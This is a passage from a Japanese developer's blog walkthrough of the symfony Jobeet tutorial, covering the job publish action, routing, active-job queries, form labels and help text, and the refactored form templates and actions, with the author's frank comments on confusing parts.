//期限切れまでの日数
public function getDaysBeforeExpires(){
return floor((strtotime($this->getExpiresAt()) - time()) / 86400);
}
}
|
さて、公開されているか否かのチェックに$job->getIsActivated()を使用していますが、jobeet_job.is_activatedは本日の最初にフォームから削除しました。
すなわち、現状$job->getIsActivated()は常にfalseです。
本来この求人は公開されていない状態になっているということです。
ということで求人を公開するアクションを作成しましょう。
まずはルーティングを編集。
apps/frontend/config/routing.yml
1
2
3
4
5
6
7
8
|
job:
class: sfDoctrineRouteCollection
options:
model: JobeetJob
column: token
object_actions: { publish: put }
requirements:
token: \w+
|
job:options:object_actionsを追加しました。
>object_actionsは与えられたオブジェクト用の追加アクションの配列をとります。
意味がわかりません。
PUTにすればobject_actions:publishになるってことなんだろうか?
テンプレートのPublishへのリンクを変更します。
apps/frontend/modules/job/templates/_admin.php
1
2
|
<li> echo link_to('Publish', 'job_publish', $job,
array('method' => 'put')) </li>
|
リンク先のPublishアクションを作成します。
apps/frontend/modules/job/actions/actions.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
/*
* フォーム、Publishリンクを押したら公開状態に
*/
public function executePublish(sfWebRequest $request){
$request->checkCSRFProtection();
$job = $this->getRoute()->getObject();
$job->publish();
$this->getUser()->setFlash('notice',
sprintf('Your job is now online for %s days.',
sfConfig::get('app_active_days')));
$this->redirect($this->generateUrl('job_show_user', $job));
}
|
lib/model/doctrine/JobeetJob.class.php
1
2
3
4
5
6
|
//jobeet_job.is_activateをtrueに
public function publish(){
$this->setIsActivated(true);
$this->save();
}
|
以上で求人フォームの投稿→公開が完成しました。
ただ問題点として、現在はjobeet_job.is_activatedがfalseの求人も全部公開されています。
非公開な求人は表示しないようにしましょう。
単に検索条件をひとつ追加するだけです。
lib/model/doctrine/JobeetJobTable.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
/*
* 検索内容に現在有効なJobeetJobを追加する
*/
public function addActiveJobsQuery(Doctrine_Query $q = null){
if (is_null($q)){
$q = Doctrine_Query::create()
->from('JobeetJob j');
}
$alias = $q->getRootAlias();
$q->andWhere($alias . '.expires_at > NOW()')
->addOrderBy($alias . '.created_at DESC')
->andWhere($alias . '.is_activated = ?', 1);
return $q;
}
|
jobeet_job.is_activatedが立っていない求人は全部消えました。
めでたし。
装飾を行いましょう。
まず、デフォルトではスキーマのカラム名がそのまま入力項目名として表示され、「Category id」や「Is public」等になっています。
ヴィジェットのsetLabels()メソッドで入力項目名を変更することができます。
JobeetJobForm.class.phpに追加。
lib/form/doctrine/JobeetJobForm.class.php
1
2
3
4
5
6
|
$this->widgetSchema->setLabels(array(
'category_id' => 'Category',
'is_public' => 'Public?',
'how_to_apply' => 'How to apply?',
));
|
>それぞれのフィールドに対して、symfonyは~ラベル|フォームラベル~(<label>タグに使われる)を自動的に生成します。
>ラベルはlabelオプションで変更できます。
チュートリアルだとこんなふうにわかりにくい表記がされているせいで、<label for="**">を変更するのか?とも読めてしまうのですが、単に左側の文言を変更するだけです。
これまで'Category id'と表示されていてIDなのに<select>?とか思わされていたわけですが、これで左辺の分類が'Category'となってわかりやすくなりました。
次に入力欄に説明を付加します。
setHelp()メソッドが用意されています。
lib/form/doctrine/JobeetJobForm.class.php
1
2
3
|
$this->widgetSchema->setHelp('is_public',
'Whether the job can also be published on affiliate websites or not.');
|
これまで'Public?'とだけ表示されていた謎のチェックボックスに、ヘルプメッセージが表示されるようになります。
setLabels()とsetHelp()ってなんか不平等だな、setLabel()やsetHelps()は無いのか、といえばどちらも有ります。
1
2
3
4
5
6
7
|
$this->widgetSchema->setHelps(array(
'category_id' => 'カテゴリを選択',
'is_public' => '公開するのであればチェック',
'how_to_apply' => '申込方法を記入',
));
$this->widgetSchema->setLabel('is_public', '公開フラグ');
|
フォームのテンプレートを修正します。
ここら辺は3日目に作ったままで中がどうなってるかとか全然覚えてねえよ。
apps/frontend/modules/job/templates/newSuccess.php
1
2
3
|
use_stylesheet('job.css')
<h1>Post a Job</h1>
include_partial('form', array('form' => $form))
|
下2行は元々入っているはずなので、CSSを付け足します。
リロードするとスタイルシート読み込みの行が増えているのがわかります。
フォームテンプレートはinclude_partial()されている中の_form.phpに書かれています。
このフォームテンプレート部分だけ分けることにより、新規登録画面とエディット画面でフォームを共用できるようになっているのですが後述。
現在のテンプレートは自動生成と5日目による修正を受けてこんなふうになっています。
apps/frontend/modules/job/templates/_form.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
include_stylesheets_for_form($form) include_javascripts_for_form($form)
<form action="
echo url_for('job/'.($form->getObject()->isNew() ? 'create' : 'update')
.(!$form->getObject()->isNew() ? '?id='.$form->getObject()->getId() : ''))
" method="post"
$form->isMultipart() and print 'enctype="multipart/form-data" '
>
if (!$form->getObject()->isNew()):
<input type="hidden" name="sf_method" value="put" />
endif;
<table>
<tfoot>
<tr>
<td colspan="2">
<a href=" echo url_for('job/index') ">Cancel</a>
if (!$form->getObject()->isNew()):
echo link_to('Delete',
'job/delete?id='.$form->getObject()->getId()
,array('method' => 'delete', 'confirm' => 'Are you sure?'))
endif;
<input type="submit" value="Save" />
</td>
</tr>
</tfoot>
<tbody>
echo $form
</tbody>
</table>
</form>
|
チュートリアルのフォームテンプレートでさくっと上書きします。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
include_stylesheets_for_form($form) include_javascripts_for_form($form)
echo form_tag_for($form, '@job')
<table id="job_form">
<tfoot>
<tr>
<td colspan="2">
<input type="submit" value="Preview your job" />
</td>
</tr>
</tfoot>
<tbody>
echo $form
</tbody>
</table>
</form>
|
ずいぶんわかりやすくなりました。
まあ面倒な削除ボタンなどを削除したせいではありますが。
あと、Previewとか書いてあるのにボタンを押したら何故か即座に登録されます。
form_tag_for()は自動的にフォームタグを作成してくれる便利な関数です。
@jobなのでルーティングのjob:に対応付けけられますが、何故'job/new'や'job/edit'ではなく'job/create'や'job/update'に正しくルーティングされるのかはよくわかりません。
あとひとつ問題があって、対となる閉じタグを作成する関数がありません。
勿論機能的には明らかに不要ですが、IDE使うと<form>タグが足りないってエラーが出っぱなしになって気持ち悪いんだよね。
include_stylesheets_for_form()とinclude_javascripts_for_form()は現時点では何の役に立っているのかさっぱりわかりません。
削除しても出力が全く変化しないし、ググってもチュートリアルとdiffのコピペしか見つからず、使用法が全く見あたらねえ。
echo $formとするとフォームの中身を全部纏めて勝手に<th><td>タグ付きで出力されますが、テーブルとか使いたくない、<ul><li>でやりたいんだ、みたいな場合に備えて中身を個別に出力する方法もあります。
囲み記事にも書いてありますが、
1
2
|
print($form['company']->renderLabel());
|
といった書き方ができます。
まあ今回は不要なのでとりあえずパス。
Symfonyにおけるフォームの流れは以下のようになっています。
・新規登録
new→(create→processForm→)edit
・更新
edit→(update→processForm→)edit
processFormはcreateやupdateの内部で呼ばれて投稿された値を保存しているだけなので、表には出てきません。
権限もprotectedになっています。
またprocessFormは保存に成功したらeditにリダイレクトするようになっているので、createやupdateは見えないようになっています。
アクションには3日目の最後あたりで作成したexecuteEdit()やらexecuteUpdate()が存在していますが、記事を取得するために
Doctrine::getTable('JobeetJob')->find($request->getParameter('id')
的なことを行っています。
5日目にルーティングを設定したので、
$this->getRoute()->getObject();
で記事を取得できるようになりました。
よくわかりませんが。
わざわざ引数からテーブルを探してこなくても、ルーティングから内容を取得できるようになったのでそちらを使用するようにします。
jobActions::executeNew()とjobActions::processForm()以外は中身が少しづつ違うので、チュートリアルに従って修正。
apps/frontend/modules/job/actions/actions.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
/*
* フォーム新規作成
*/
public function executeNew(sfWebRequest $request){
$this->form = new JobeetJobForm();
}
/*
* フォームの作成画面からセーブ
*/
public function executeCreate(sfWebRequest $request){
$this->form = new JobeetJobForm();
$this->processForm($request, $this->form);
//失敗したら新規作成画面に戻る
$this->setTemplate('new');
}
/*
* フォームのエディット
*/
public function executeEdit(sfWebRequest $request){
$this->form = new JobeetJobForm($this->getRoute()->getObject());
}
/*
* フォームのエディット画面からセーブ
*/
public function executeUpdate(sfWebRequest $request){
$this->form = new JobeetJobForm($this->getRoute()->getObject());
$this->processForm($request, $this->form);
//失敗したらエディット画面に戻る
$this->setTemplate('edit');
}
/*
* 削除
*/
public function executeDelete(sfWebRequest $request){
$request->checkCSRFProtection();
$job = $this->getRoute()->getObject();
$job->delete();
$this->redirect('job/index');
}
/*
* フォーム、投稿された値を保存する
*/
protected function processForm(sfWebRequest $request, sfForm $form){
//値をバインド
$form->bind(
$request->getParameter($form->getName())
,$request->getFiles($form->getName())
);
//バインドに成功したら
if ($form->isValid()){
//セーブしてエディット画面に移動
$job = $form->save();
$this->redirect($this->generateUrl('job_show', $job));
}
}
|
jobActions::processForm()は、まず投稿された値をJobeetJobFormクラスにバインドし、その後$form->isValidでバリデータを実行しています。
バリデートに成功したらそのままセーブし、jobActions::executeEdit()にリダイレクトします。
バリデートに失敗したらそのまま呼び出し元のメソッドに戻り、登録画面やエディット画面に戻ります。
ルーティングから取得した内容をフォームオブジェクトに渡せば、エディット画面のデフォルト値にそのまま表示されます。
入力後にバリデーションで失敗した場合には、入力値がそのまま引き継がれて表示されます。
さらにこの間、エスケープ処理などは全て自動で行ってくれるのでこちら側では一切考慮する必要がありません。
非常に便利ですね。
どのオブジェクトをどのメソッドにどうやって結びつければいいか、がわかればの話ですが。
さっぱりわかりません。